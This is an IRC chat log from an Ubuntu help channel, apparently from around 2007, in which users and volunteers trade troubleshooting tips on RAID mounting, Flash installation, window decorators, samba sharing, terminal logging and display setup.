ideas on this: http://ubuntuforums.org/showthread.php?p=4124698#post4124698 [01:55] truna: It's the "Quit" option in the "System" menu... I want to set it to a hotkey [01:55] !tell Darkmystere about Kernal [01:55] How do I stop using Emerald as decorator please? [01:55] robdig:: that would me ./configure make then make install [01:56] SubOne-> if you hang around long enuff, maybe i can find it, you and i will go digging behind these gui..okay? [01:56] horza: I bet just change the theme with the Appearance manager.. [01:56] horza: Instead of using emreld... [01:56] truna k, maybe we'll meet on google, see you there :) [01:56] XDS2010, check, reading [01:56] jrib, what do i do after i download it... tar.bz2???? [01:56] robdig: did what you said and i get a lot farther but then i get another eroor [01:56] what is the log file that records login / logout ?? [01:57] drgonzo00000:: you'll need to do make before make install [01:57] HOORAY my raid is formatting! Now if I can just figure out how to mount it and put files on it lol I'm total Noob [01:57] Darkmystere: Nope [01:57] !log [01:57] Channel logs can be found at http://irclogs.ubuntu.com/ - Logs for LoCo channels are at http://logs.ubuntu-eu.org/freenode/ - See also « /msg ubotu ircstats » [01:57] robdig: just needed to use sudo [01:57] truna, yeah i allready did, and i fix wlan0_rename issue, but still cant use wlan0 with commands like ifup ifdown ifconfig [01:57] drgonzo00000:: if you've done his commands start over with make clean then ./configure then make then make install [01:57] heatmzzr: double click and read the README file [01:57] Horza: Or justn turn of GL Desktop [01:57] truna: I found a file online that made it work. I'm on his now. ^.^ [01:57] after following your advice [01:58] truna: Thanks for putting up with me! [01:58] how do I read/write to an NTFS partition ? [01:58] bastid_raZor: whoops! thanks drgonzo00000 see what bastid_raZor said [01:58] !ntfs > profx (read the private message from ubotu) [01:58] jrib, I thought support was built in for Gutsy, or am I mistaken ? [01:59] darkmystere: That turns off emerald but enabling just goes back [01:59] anyone familiar with ultraVNC single click [01:59] profx: yes, but you still need to set it up afaik [01:59] sec.... Dont mind the message thing sending my self notes [01:59] when does ubuntu 8 come out? [01:59] Kalijawan: 8.04 means 2008 April [02:00] oh [02:00] ! emerald [02:00] Sorry, I don't know anything about emerald - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [02:00] XDS2010, still reading, have you tried any of these steps? [02:00] thanks jrib [02:00] yes i have actually [02:00] to no avail [02:00] win 3 [02:00] i run into a brick wall while in the ddrescue process [02:01] Anyone else know what command is run when you click "Quit" in the System menu and it shows like logout,lock,shutdown, etc [02:01] Ok, so now I have md0 formatted, how do I make it useable so I can put folders and such on it? [02:01] Ok mouse speed is permanently set to lowest setting AND keyboard auto-repeat is permanently off. This is REALLY annoying. [02:01] Well.... Why do u want to turn Emerald Off? have u tried clicking Clear? [02:01] then clicking GL Desktop that usualy reloads it [02:02] Hi - I am having trouble getting wine to work in 7.10 [02:02] XDS2010, what's the brick wall, the twice errors? [02:02] is there a way to imbedd a terminal at the bottom of gedit for programming? [02:02] that would be sweet [02:02] darkmystere: It's wiped all the icons from the sides of menus, and I prefered what I had before I enabled it [02:02] SubOne: well gnome-session-save --kill --gui will have the same result, but I'm not sure you can say that is the command that is run [02:02] Anderson: no [02:02] XDS2010, WHat's the problem? [02:02] darkmystere: Going to log out and log in again. brb [02:03] jrib: so that command will show the dialog? [02:03] horza: Oh.... Well That probally has nothing to do with Emerald Maybe its just the theme u have but Anyways just Remove Emrald from synaptics [02:03] It installs from synaptic, but winecfg gives me page fault [02:03] SubOne: yes [02:03] jrib: ty, thats exactly what i needed [02:03] Horza Ill brb Doing somthing [02:03] SubOne: I think --gui is not needed, check the man page though [02:03] jca [02:04] k ty [02:04] Anderson: to many errors , so it takes way to long [02:04] tried uninstalling and reinstalling package - can someone help me out? [02:04] that would bring me to my next question on how big the MBR would be [02:04] ( which i would like to di-assimilate from this backup venture as well ) [02:04] XDS2010, ah.. small [02:04] after i compile a c program with gcc, how do i run it?

[02:05] :( [02:05] XDS2010, later [02:05] ive run outa time [02:05] jonn: provide the path to the resulting executable. For example, if it is in your current directory named "foobar", do: ./foobar [02:05] jonn: if you didn't name the executable, it will be called a.out, so ./a.out [02:05] XDS2010, good luck man [02:05] XDS2010, sorry I couldn't help [02:05] hello [02:05] hi === Jonjonbt|pizza is now known as Jonjonbt [02:06] if you feel like finding out different "glide" methods while im offline it would help [02:06] bbiab [02:06] Ok, I am noob, but got my raid going, but how do I mount it for use?

[02:06] its formattted ext3 [02:07] well that's interesting...now soundjuicer sees my cd, but grip still won't....the wierd thing is it use to work just fine [02:07] Well if mouse speed can't be fixed, I will have to wipe my hard drive and start again. [02:07] how do i turn on sound support "(soundcore module, default turn on)" [02:08] guess i'll just uninstall it and try again [02:08] jrib: do you happen to know a command for the "run" dialog too? [02:08] SubOne: nope [02:08] whats that web site that has a bunch of debs built for ubuntu by a 3rd party person and it has all updated pkgs ? [02:08] hey i have a separate account that automatically loads a virtual machine once i sign in. how do i set it to log out of that account once i close the VM application? [02:09] How does ubuntu handle multiple language support? I would like to install and work in English, but be able to flip over to Japanese when done (I am moving my wife's machine to ubuntu and she would prefer Japanese) - if I have to fix something, I'd like to "flip" back to English. [02:09] methods: if you want latest firefox3, http://ppa.launchpad.net/fta/ubuntu gutsy [02:09] Is there any reason not to get KDE4 right now on Gutsy? [02:09] SubOne: http://ubuntuforums.org/showthread.php?t=512290 looks promising though [02:09] did i say that ? [02:09] crack job [02:09] any ideas? [02:09] ushimitsudoki-> am not sure, but maybe an attempt to change the locale? [02:09] hi, how do i play .amr files in ubuntu+ [02:09] ? [02:09] jrib: nvm i think it is offered in the shorcut keys dialog [02:09] I feel kinda weird running utorrent on ubuntu because I couldnt find a torrent client that wasnt a cpu or memory hog native to linux [02:10] kebinusan: deluge? [02:10] truna: alright, thanks! I will make a note of that [02:10] dont think I tried that, I tried ktorrent but it was using like 260+mb of ram [02:10] and a couple others I forget [02:10] ushimitsudoki-> try it and give us a feedback, see if it works..certainly there are many that like to do same [02:10] I recently tried pluging a projector on my notebook computer to realize it would refuse to work until I reboot my computer. what is happening on boot that I could trigger myself so that I dont need to reboot my computer? [02:10] ktorrent won't let you prioritise either [02:11] How do I stop emerald? [02:11] onyx: lol [02:11] kebinusan: have you tried ktorrent ? [02:11] kebinusan: use deluge - i came from uTorrent, and deluge is very close and works great for me [02:11] horza: What? [02:11] truna -> will do! [02:11] yeah Im installing deluge right now [02:11] onxy: I've been here asking that for last 20 mins :-) [02:11] I'll give it a go [02:11] how do i play .amr files in ubuntu? if anyone know how to help me, pls highlight my nickname [02:11] horza: Ahh :) [02:12] does anyone know of a linux version of UltraVNC single click [02:12] onyx: emerald has messed up my desktop, and my mouse and keyboard settings. Am just going to reinstall now from scratch [02:12] kebinusan: quite simple to use, the closest torrent to utrrent and youll like it casue its made for gnome [02:12] Laters, see you guys post-install [02:13] Wow... lame [02:13] killall emerald worked -- if he would've stuck around he'd know that [02:13] thanks jrib, go that ntfs drive to work [02:13] ello im back... "i think" [02:13] robdig can i create a shortcut of sorts so i dont have to type ./a.out everytime i run? [02:13] Onyx, i wouldnt take anything on irc too personally :) [02:13] !disklabel [02:13] Sorry, I don't know anything about disklabel - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [02:13] profx: Oh, nah, I'm definitely not [02:14] ushimitsudoki: system->admin->language support , choose the languages. When you log in, under options you can choose the language you want. For the keyboard you'll want system->prefs->keyboard, choose the layout type for changing languages. [02:14] robdig: do you know if i can somehow imbedd a terminal in gedit? [02:14] jonn: you can rename the executable either with mv or when you compile by using the -o executablename if that is what you mean [02:15] profx: there are many good software that can change disk label search on google [02:15] how does one log output from terminnal? [02:15] jonn: not sure what you mean by imbed a terminal in gedit...i tend to use vim [02:16] wow, that was a bad move. i installed kde4 from the instructions on the kubuntu site, and now X doesn't load at startup. grrr. [02:16] kousotu-> what are you trying to accomplish? [02:16] robdig: im liking gedit, it would be great if i could just have a terminal in a small screen tacked onto the bottom [02:16] nickrud: Thank you! I will try that! [02:16] jonn, there's a plugin for that [02:16] jonn, open a terminal and move it to the bottom [02:17] worthawholebean: its just not the same [02:17] truna: I need to log some output from a program that keeps crashing [02:17] kousotu-> man tee [02:17] in the gedit-plugins package. [02:17] hey ya! [02:17] ? [02:17] kousotu-> man tee [02:17] Juhaz: i tried the plugin, but it doesnt work right [02:17] it just opens up a terminal window [02:17] * nickrud notes BaD-AcerLaptop's experience, and decides to wait a while more [02:18] may I install a "compiled-by-myself" php5 on a "apt-GOT" apache2? [02:18] john, Kate can have a small terminal built into it at the bottom of the editor [02:18] nickrud, it worked at first, so it may have been something *I* did. [02:19] How do I upgrade to 7.1? I've burned it to a disk but I cannot figure out how to do a fresh install. [02:19] iclebyte: thanks, i might give it a try [02:19] nickrud, kde4 is a nice platform. i personally would wait till 4.1 though. i play with alpha and beta software all the time. [02:19] truna: so ./secondlife tee -a ? [02:19] BaD-AcerLaptop: I've done the same, it's fun. Less time for it now though [02:20] how do i tell mencoder to make a -of mp4???? [02:20] Pirate_Hunter, i have the software, im more interested in why I need to do it [02:20] it says mp4 not know sub option [02:20] I just dont get why ppl are installing kde4 on their won physical hd and not in a virtual machine especially those that have no clue what they are doing AHHHHHHHHHHHHHHHHHHHHHHHH [02:20] I cnat take any more of this insanity [02:20] nickrud, well, with easy access to VMs with VBOX, it makes testing so much easier. [02:20] because if you don't know what you are doing then making a virtual machine is just more to confuse you [02:20] kousotu-> command | tee -a ... [02:21] MEH cant find /dev/md0 in /etc/fstab or /etc/mtab. Someone please help me mount this raid bad boy :) [02:21] I personally don't know how to make a virtual machine [02:21] truna: now you're just confusing me [02:21] kousotu-> you can always google for tutorials :) [02:21] emma: you might say that but by tomorrow will have more ppl complaining that kde4 damaged their system and they may reformat their box due to lack of knowledge [02:22] truna: they never help :( [02:22] emma, you're right about the virtual machines. [02:22] truna: I jut need a command so I can show the log to a friend who is trying to help me with the issues I'm having of SL locking up linux [02:22] Whatsinaname, are you trying to mount a raid set? === pppoe_dude is now known as rock-lobster [02:22] yes, just simple raid 1, it has been synced and formatted [02:23] Hi, has anyone had problems connecting to the update servers? [02:23] but I am stuck on how to mount it for use, thanks for any help doseryder [02:23] yukonho: nope why? [02:23] kousotu-> here is a sample who | tee a.list [02:24] how do i set it to install pakages from the cd? [02:24] Can anyone give a (large-scale) ubuntu newbie some pointers on installing MythTV? [02:24] kousotu: you mean remote login? if so check online or wait for someone that knows how to do it... I dont use it so i cant help but ubuntu forum should help [02:24] Whatsinaname, never tried md myself. I too am in the midst of trying to get my raid set working with dmraid (dmraid != md) [02:24] Pirate_Hunter: no, I am trying to get a log to paste [02:24] Pirate_Hunter: Whenever I go to reload my sources in Synaptic, it says it cannot contact archive.canonical.com, security.ubuntu.com, or archive.ubuntu.com [02:25] Pirate_Hunter, do u know much about disklabels ? [02:25] I'm working with the Wiki, a pile of FAQs, and other incantations, but all of them assume that I understand how to start/stop processes, and that I have a working knowledge of mySql. I don't. [02:25] but the program locks up linux so I cannot copy it [02:25] doseryder ok thanks... [02:25] good luck, I used mdadm [02:25] I need linux to save it in realtime [02:25] Jurph-> have you tried reading a book on mysql admin? [02:25] now md0 exists and is formatted, I just don't know what to do with it lol [02:25] http://parker1.co.uk/mythtv_ubuntu.php Jurph [02:25] profx: i cnat edit it manually but their are software online that helps you change the disklabel thats as far as I know but why do you want to do so [02:26] Pirate_Hunter, but do you understand its purpose, and maybe suggest what happened to the drive for me to have to do this [02:26] I'd love to have the spare time to learn becoming a mysql admin. [02:26] I have connected a external monitor into my laptop and running ubuntu 7.10. How can I change screens in a easy way? I want to stop using laptops screen and only use the external. When I then disconnect the external screen, I want the internal to start again. Can ubuntu help me with this? [02:27] if i printed a file how can i find it (postscript)?? [02:27] bazhang, thanks - that looks like it's more my speed. I'll return if the incantations don't work [02:27] yukonho: is this recent if so you may have to fix it and i thought 7.10 did get updates from canonical any more... or am i confusing this with something else? [02:27] exit [02:27] lazy247x-> look around /var/spool/ [02:27] ok [02:27] which file contains like, all the hostname for ubuntu upgrade servers? [02:27] profx: im guessing its more truoble than i need but since im here tell me what happened [02:27] * robdig usually looks for printouts on the printer [02:27] One more cry for help, Any one know how I mount my md0? I get cant find /dev/md0 in /etc/fstab or /etc/mtab [02:28] * nickrud thinks that robdig is too 80's [02:28] Whatsinaname: md0 is normally located at /dev/mapper/md0 [02:28] Blinkiz: Doesn't clone screen suffice? [02:28] nothing [02:28] !raid [02:28] Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto [02:28] !wireless > FYI [02:28] chrols: Probably. How do I use it? :) [02:28] * robdig thanks nickrud...makes me feel younger [02:29] Pirate_Hunter, well, it was a used drive, then I installed Win., Ubuntu was on it before that, then I couldnt see the drive, always gave me a boot error, now that I am back to Ubuntu, gparted sees the partiton (pm didnt), its asking me to start off with 'disklabel' [02:29] hi [02:29] which file lists all the update servers, for automatic updates? [02:29] Blinkiz: There's several ways. What sort of graphic hardware do you have? [02:29] so, I install ubuntu and it's fine... [02:29] Blinkiz when I try mount /dev/mapper/md0 I get same error [02:29] now, I restart [02:29] chrols: Am having a Nvidia 8600M GTS in my laptop. [02:29] screen goes blank [02:29] fricken brilliant [02:30] FYI, give more details ? [02:30] Whatsinaname: So how do you try to mount it? [02:30] yukonho: http://www.ubuntu-nl.org/source-o-matic/ copy this link somewhere incase you have to remake the list as that would save a lot of trouble and makes it much easier than manually checking which source is no responding [02:30] profx: I wish I could, but the screen is black [02:30] FYI, what screen, what are you trying to do, is this another box ? [02:30] Blinkiz , I just typed in sudo mount /dev/mapper/md0 [02:31] profx: yes, it's my laptop. I'm onb my desktop right now using pidgin [02:31] Blinkiz sorry I am very noob [02:31] Blinkiz: Alright, if you plug your secondary screen in. Go to System->Administration->Screens and graphics (not sure about the exact wording as I'm using a localized version) [02:31] FYI, telling anyone your screen is JUST black doesnt allow anyone to assist u [02:31] FYI, and, tell the rest..... [02:31] im not a mind reader u know :) [02:31] Whatsinaname: okay, have you mounted md0 in the first place with mdadm? [02:31] l/win 3 [02:31] Whatsinaname, you need to choose a mountpoint [02:32] profx: What is there to tell? I rebooted (after doing nothing), the preloader comes up... disappears and it flickers then goes black. that's all there's to tell [02:32] I'm at a loss now I installed flashplugin-nonfree package but its not installing the plugin. [02:32] Blinkiz I did make the arrary with mdadm, and formatted it, how do you mount it with mdadm... [02:32] profx: basically you corrupted grub and fixed it somehow (im curious to find out how) now it works but is asking to run from disklabel which makes no sense.... I thought disk label was info on partition and the hd [02:32] !flash | h1st0 [02:32] h1st0: To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash [02:32] Blinkiz: Hopefully you should have you're two monitors there. Select the secondary display, choose secondary display and clone output [02:32] chrols: Okay. If I do that, system is asking me to log out to enable the effect. Can't ubuntu do it without a restart? [02:32] The Flash plugin installation is currently broken. This is due to Adobe changing the tar file that the package downloads. See http://ubuntuforums.org/showthread.php?t=636397 if you need to fix this immediately, but it's recommended to wait for an official fix. [02:32] ugh that's long [02:33] FYI, installing, or just running the OS, then bang, shuts off [02:33] jrib: yes thats what i'm saying thats not working. [02:33] jrib: for somereason on this system if I go to about:plugins its not present. [02:33] Blinkiz: Yeah, restarting X should suffice. Log out and see if it works [02:33] Blinkiz: Not restarting that is [02:33] h1st0: did you restart firefox? [02:33] Whatsinaname: You use the command assemble and the harddrives that should be in the array. Like this for example: "mdadm --assemble /dev/mapper/md0 /dev/hda /dev/hdb". [02:33] Pirate_Hunter, I have a list of 'types' to choose from, #1 being msdos (as a label) [02:33] how do i set it to install pakages from the cd instead of synaptic? [02:34] jrib: Yes i've even restarted the pc [02:34] h1st0: remove the package, download the tar.gz from adobe yourself and extract the .so to your ~/.mozilla/plugins/ then [02:34] Whatsinaname: I think thats the correct line. Maybe the md0 line should be before --assemble, I don't remember [02:34] profx: correct, I installed it via the text-based installer. It started fine after the initial reboot. I restarted and it goes through grub fine, preloader shows up and completes, then bam. blank [02:34] how come my title bars dissapear sometimes ? and how do I prevent or bring them back without logging out and back in or rebooting please... [02:34] Johnny_5-> you have to modify the source.list [02:34] <_jwd_> system-admin->software sources (change it to CD or add one) [02:34] k [02:34] chrols: Okay, I guess thats the way ubuntu works. I have to restart X [02:34] <_jwd_> System->Admin->Software Sources [02:34] <_jwd_> yes you have to restart X for that [02:34] Ximal: compiz? if so no clue why, but alt-f2 emerald --replace usually brings them back [02:35] FYI, can you get into a TTY ? to look at xorg.conf ? [02:35] i'm trying to install bitchx and when i ./configure i get an erron in the terminal saying: C compiler cannot create executables <- how do i fix that? [02:35] Johnny_5-> btw, if you go to synaptic manager, the selection is there on software settings [02:35] does anyone know where to get the .bin roms for mame? [02:35] profx: wait this is making me confused what exactly does you comp show, can you log in, does grub work, why exactly do you need to edit disklabel and what will you acheive with it... i need to understand what youre trying to do (if you have several disks or partition you would have different disk labels) [02:35] bah thanks nickrud .. i did the replace in terminal and it brought em back [02:35] k [02:35] jrib: this is a fresh install of gutsy [02:35] !build-essential | mascaria [02:35] jrib: shouldn't the flashplugin be working? [02:35] mascaria: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first) [02:35] mascaria: install bitchx using your favorite package manager. Don't bother compiling [02:35] Ximal: don't close the terminal :) [02:35] profx: I just tried restarting in recovery mode; this is the last line that appears "TIMER: vector-0x31 apic1-0 pin1=2 apic2=-1 pin2=-2 [02:35] aticonfig can enable external screens directly. Does it exist a similar tool from nvidia maybe? [02:35] h1st0: no (as ubotu said) [02:35] jrib: I did notice that when the package is installing its not prompting for the license agreement like it used to. [02:36] h1st0: ? [02:36] jrib: ? [02:36] haha it won't let me.. [02:36] Blinkiz: Well if you wish to have it more dynamic the nvidia utility "nvidia-settings" can usually change these things without a restart though it's not as straightforward [02:36] h1st0: read the forum link ubotu said earlier [02:36] ok thanks! [02:36] profx: TTY? without trying to boot gnome or whatever? [02:36] Pirate_Hunter, im in Ubuntu atm, running gparted, it seen the part., where as PM didnt in win., and its prompted me to 'disklabel', with a list of selections [02:36] chrols: Thanks, I try that :) [02:36] !flash > h1st0 (read the private message from ubotu) [02:37] !tty > FYI [02:37] does anyone know where to get the .bin roms for mame? [02:37] Blinkiz I get /dev/mapper/md0/ does not exist and is not a 'standard' name so it cant be created [02:37] FYI, yeah, ctrl-alt-f1, will open a tty, click ctrl-alt-f7 to switch back, and that will open a shell, and no Gnome :) [02:38] Blinkiz: If you have the driver packages installed you could start it with ALT-F2 "gksudo nvidia-settings" or just type that in a terminal as I don't think you have it in the menus as standard [02:38] profx: it says BIOS BUG #81 found [02:38] !BIOS BUG 81 > FYI [02:38] chrols: Yeah, have a nice gui open here from nvidia. Exploring it :( [02:38] msdos, amiga, bsd, dvh, gpt, mac, pc98 [02:38] Oh, I mean :) [02:38] nice FYI [02:38] could someone check if my ssh-connection is OK? (toresn.dyndns.org) [02:38] msdos, amiga, bsd, dvh, gpt, mac, pc98, s390, sun, loop [02:39] thats my choices Pirate_Hunter [02:39] it's said the before, though [02:39] afk [02:39] profx: ill tell you right now what i understood you in ubuntu using gparted, it sees your partition which PM (have no clue what that is) did and you went to disklabel menu and now it is giving you options... all i can say if youre using gparted to change disklabe it will erase all data on disk as well (unless theyve changed their system from the live CD) [02:39] Whatsinaname: Okay, w8 and I check how I mount things [02:39] !raid [02:39] Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO - For software RAID, see https://help.ubuntu.com/community/FakeRaidHowto [02:39] Many thanks Blinkiz I cant wait to get my hands on samba next lol!

The manual part of the howto is probably what you are looking for. But at the top is a great description on each step you have to do [02:42] profx: googled my computer model number and it said to try booting with acpi=off on the kernel line; I am trying that now [02:42] any mencoders here tonight?

I want my pictures folder to have an alias that points to another user's pictures folder. [02:44] truna: I do not know [02:44] Pirate_Hunter: gotta remember, a lot of people here don't know enough yet to ask pertinent questions, you have to lead them to the water [02:44] javatexan: i dont edit video but ill check for you [02:44] kousotu-> then make sure you understand where secondlife outputs, and man tee again please [02:45] Pirate_Hunter: I have been googling until my eyes are googled out on this...that would be awesome if I could fix that today [02:45] could i possibly get some help on setting up my usb belkin wifi adapter?

[03:33] jaxy, with ubuntu wine should be the default app for exe files, so just double click it, and it should do the rest [03:33] jaxy, just like with windows [03:33] tanath, thanks [03:33] Coffeegrindah: most likely, xserver-xorg is in main you probably disabled that one [03:33] ogre: if you need it back it can be a problem, maybe you want to segregate the two scenarios by using two diffrerent desktop sessions [03:33] zenobius: oh wait ... i think i had misunderstood you [03:34] kennt wer von euch ne gute online colorlist? (auflistung von farben mit hexacode:>) plz melden [03:34] Ok, so I'm back to boting from xubuntu cd (since DSL can't see /dev/sda for some reason)and now I'm getting, for errors, stuff like: 17179704.524000 Buffer I/O error on device hda, logical block 6572 [03:34] nickrud figured as much.. (thankfully I was smart and backed it up) [03:34] mynyml: your aware how to run remote apps locally but leave cpu grinding to original remote host? [03:34] In the installed ubuntu, the hd is sda, not sure why I'm getting hda errors, but will these just stop scrolling by at some point and boot to a livecd envoronment? [03:35] no meez i dont think i did [03:35] mynyml: this is ideally waht you want from windows, but i suspect it willl cost you a grand poobah enterpirse license [03:35] hab danke [03:35] unless it automatically did it for me [03:35] !sourceomatic | Coffeegrindah (this will give you a good sources to compare against, if needed) [03:35] Coffeegrindah (this will give you a good sources to compare against, if needed): source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic [03:35] hey anyone know a quick way to remove grub bootloader? I do not have a windows CD. I used to have windows tho, and now ubuntu is the only OS I use [03:35] !de | doxie [03:35] doxie: Deutschsprachige Hilfe fuer Probleme mit Ubuntu, Kubuntu und Edubuntu finden Sie in den Kanaelen #ubuntu-de, #kubuntu-de, #xubuntu-de und #edubuntu-de [03:36] zenobius: i didnt know that was even possible, guess thats why i got confused ... i would have thought the network would have been too big a bottleneck for that to be worth it though [03:36] sorry, was an amsg *g* a questions for a colortable ... but its done [03:36] how do i install the restrictive drivers? [03:36] niickrud thanks .. saves me from digging out my backup [03:36] mynyml: its actually quite smaller bandwidth that vnc or or framebuffering remote type apps things [03:37] mynyml: im not sure, but maybe windows terminal server can do it. but i have a feeling that too is a framebuffer type thing [03:37] hey anyone know a quick way to remove grub bootloader? I do not have a windows CD. I used to have windows tho, and now ubuntu is the only OS I use [03:37] How do you deactivate a USB port, the way Windows XP does when you do "Safely Remove Hardware"? [03:37] frogmeat: you'd replace it, what do you want to replace it with? [03:37] DanaG: you dont [03:37] just hit eject [03:37] right click it [03:38] DanaG: and windows desnt either [03:38] Actually, XP does! [03:38] hoi, ffmpeg ./configure claims that libfaac is enabled, but, after compiling, it doesn't become available in ffmpeg -formats and trying to encode withit spits out an unknown encoder error, any ideas? :\ [03:38] DanaG you can unmount the device manually [03:38] DanaG: actually ...it doesnt [03:38] DanaG: it doesn't deactivate, it makes sure any data that needs to get written to the device does get written before you remove the device [03:38] DanaG: you just eject it. if it was disabled when it umnmounted you wouldnt be able to use it further on. [03:39] Then why is it that ejecting the device in Linux leaves it on "USB Connected", but ejecting it on Windows leaves the device disconnected but still given power? [03:39] DanaG: device name? [03:39] Cowon iAudio 6. [03:40] can anyone help me get diablo 2 working for a lan game? [03:40] says it can't detect a valid tcp/ip address [03:40] hey anyone know a quick way to remove grub bootloader? I do not have a windows CD. I used to have windows tho, and now ubuntu is the only OS I use [03:41] Blinkiz Thanks for the help, I knew I was missing something simple, I had to create a directory and then mount my md0 to it. I feel so noobish in this whole linux thing. [03:41] pici, u there [03:41] Is there a way that I can have a different desktop picture on each workspace? [03:41] frogmeat: what do you mean, remove the bootloader? you want to just erase it, or replace it with some other bootloader? [03:41] frogmeat, you could change it to lilo, or you can configure it not to show, but you may want to keep it. if something happens to one kernel, you can still boot an older one [03:41] DanaG: you understand the advantage windows has due to being the OS these thigns are made for? plus the tech specs arent open for general browsing, if they were this wouldnt be a problem [03:42] I know I can do it by using the 'unbind' feature of /sys/bus/usb (I think it is). [03:42] DanaG: having said that, have you done searching for your device? [03:42] frogmeat, there may be a bug in a newer kernel that could prevent you from booting. by booting to an older, working kernel, you'd be able to fix the prob [03:42] DanaG: in other words, we don't know why your Cowon reads differently, possibly becuause you're using speciallized software in windows to control the device [03:42] DanaG: so eject and unmount comds dont do much? [03:42] neeto yes cause i found it tonight [03:43] It's a standard USB Mass Storage device. [03:43] hi all [03:43] heatmzzr: no way? what's it called? [03:43] Oh, and Vista also doesn't power off devices like XP used to. [03:43] tanath, works like a charm. thanks [03:43] is there any way to make my files shareable to windows user? [03:43] I am trying to assign my ubuntu laptop a static ip, I clicked network icon, manual configuration, wireless connection, properties, then put in a static address, the subnet etc, then click close. But when I type ifconfig, eth1 is not active. When I ping my gateway, I get the error message, "network is not reachable" [03:43] wallpapoz neeto.. that was the only reason i was drawn to kde. but now [03:43] DanaG: and everyone knows that vista is the hallmark of computer OS to strive to....[/sarcasm] [03:44] Ok so I mounted my raid 1 as a folder, but how do I mount it as a drive? [03:44] google wallpapoz neeto [03:44] heatmzzr: i will, thanks mate. [03:44] Here's how to be like Vista: go around randomy breaking features on purpose, because "people don't use them". [03:44] I guess I could just clean up the conf file [03:44] how do I get the man pages for all the stuff installed in ubuntu? [03:44] KDE4 is...odd. [03:44] i have a soundcard getting input, and 5.1 speakers that are outputting 5.1 sound from rhythmbox, but it is only doing 2 speakers from the input, is there a way to mix the input the same way that sound is through the programs? [03:44] aha [03:44] DanaG: or try copy ubuntu's gksudo but give no real security on it [03:44] Do windows look like windows in windows98 for anyone else in KDE4? [03:45] bosco_ say that you have the correct versions installed and that the module will not load. show them what you showed me. [03:45] tomd, do y [03:45] i need to share some files to windows user, how can i make a shared folder? [03:45] MartianLobster-> ifdown eth1; ifup eth1 [03:45] truna thanks [03:45] can I use kernel 2.6.19.2 with my 7.10 ? or is it too old? [03:45] i have a radeon x1200 card. If I want to use 3D then do i need to get the drivers from ati? [03:45] http://darkstar.ist.utl.pt/getdeb/wa/wallpapoz_0.4.1-1~getdeb1_all.deb (try this link neeto) [03:45] goldsniper: read the wiki.ubuntu,com or help.ubuntu.com/community [03:45] it will install it for you\ [03:45] goldsniper: search for samba [03:46] heatmzzr: gotcha, thanks. [03:46] looking for help with dual booting ubuntu/xp with them on different hard drives [03:46] I think KDE4 doesn't work very well [03:46] Is it possible to do an install of Ubuntu, tar everything up and use the tar file for a new install? [03:46] which browser is shit now... FireFox or Opera... i've build som very small site with CSS and HTML...in opera it looks wonderful, in firefox like crap and totally buggy :D [03:46] samba? [03:46] Anybody here familiar with using XFS? [03:46] DanaG: LOL your device is a 'PlaysForSure' gimmick? [03:47] :? [03:47] is there any step by step guide on samba? [03:47] DanaG: sorry, try getting MTP support for banshee? [03:47] goldsniper yes read the wiki [03:47] huh [03:47] ok..thanks anyway [03:47] can I use kernel 2.6.19.2 with my 7.10 ? or is it too old? [03:47] goldsniper: wait, i will get the url for you. [03:48] goldsniper http://www.samba.netfirms.com/ [03:48] is dualview with an ATI chipset possible? [03:48] samba filesharing is VERY easy... :> [03:48] ARRG after reboot raid goes away meh [03:48] I got it working on one of my laptops, but it's using nvidia(-settings) [03:48] can't get it to work with ATI [03:48] goldsniper: https://help.ubuntu.com/community/ComprehensiveSambaGuide [03:49] Whatsinaname have you tried adding it in fstab [03:49] how can i check if a certain port is open or not? [03:49] toresn: netstat i think [03:49] I did dark__ I hope it is right, Ill recheck but I had to assemble it again. [03:50] toresn: for for info type 'info netstat' or 'man netstat' in your terminal [03:50] Oh yeah, my device is a USB Mass Storage device, actually. [03:50] And another odd fact is that even when I put it in MTP mode, it STILL shows up as a USB Mass Storage device to Linux. [03:50] Dark__ my fstab has /dev/md0 /storage ext3 defaults 0 0 [03:50] DanaG: you mean it can be a UMS. like the ipod i press menu and play while booting to go into dedicated UMS mode [03:51] Whatsinaname and still md0 is not mounted in /storage [03:51] Whatsinaname..mmmmm [03:51] http://www.cowonamerica.com/products/iaudio/6/ [03:51] Ill reboot one more time... [03:51] shouldnt have to [03:51] DanaG: well it is a PlaysForSUre device, so there will be nasty stuff in its chips? [03:52] It's a native UMS device. No software needed, actually. [03:52] It looks like at reboot the raid 1 needs to be assembled again. Ill check mdadm.conf as well [03:52] ya that is something i wouldn't know about im afraid [03:53] dark__ by default does ubuntu have a storage folder at / ? [03:53] state = filtered means that the port is closed? [03:53] I have a Broadcam 54g MaxPerformance which is on my HP zv5000 laptop. I installed Ubuntu using Wubi and I don't know how to connect to Wireless since I'm kind of a complete n00b. I mean I've used Ubuntu in the past but I'm clueless on how to get this thing to work, since I never tried Wireless on ubuntu before. [03:54] DanaG: Supports MAC OS (Data transfer only), Supports Linux v 2.2 or higher (Data transfer only) [03:54] Whatsinaname not sure what you mean by that... everything starts from / and every file and folder, mounted or otherwise resides below / [03:54] DanaG: by Linux v 2.2 they mean the kernel i assume [03:54] zenobius, i decided to go for nmap... i was notified that the port i was scanning is filtered [03:54] DanaG: so you may have to investigate going back to an older kernel [03:54] Whatsinaname so yeh [03:54] zenobius, does this mean that it's closed? [03:55] toresn: yeah nmap is good, try jnettop for a real time look [03:55] Umm, I don't have any problems with data transfer. [03:55] toresn: filtered means its not letting traffic from you in [03:55] toresn you can use nmap for a more detailed view of ports [03:55] Oh, dark__ I created a folder called /storage maybe I will try a different name lol [03:55] I put my music (organized in folders) on the device (organized in folders), and then unmount. Then I start the device, and there my music is, ready to play. [03:56] zenobius, dark__ , i would like to open port 8000 ... how should i do this? [03:56] drwxr-s--x can anyone tell me my Desktop dir has these permissions [03:56] Whatsinaname its fine to create folders immediatley below / just make sure youve got the right permissions on it and that [03:56] DanaG: so, what is the issue then? It works [03:56] I got an HP laptop with Broadcam Maxperformance 54g and I'm 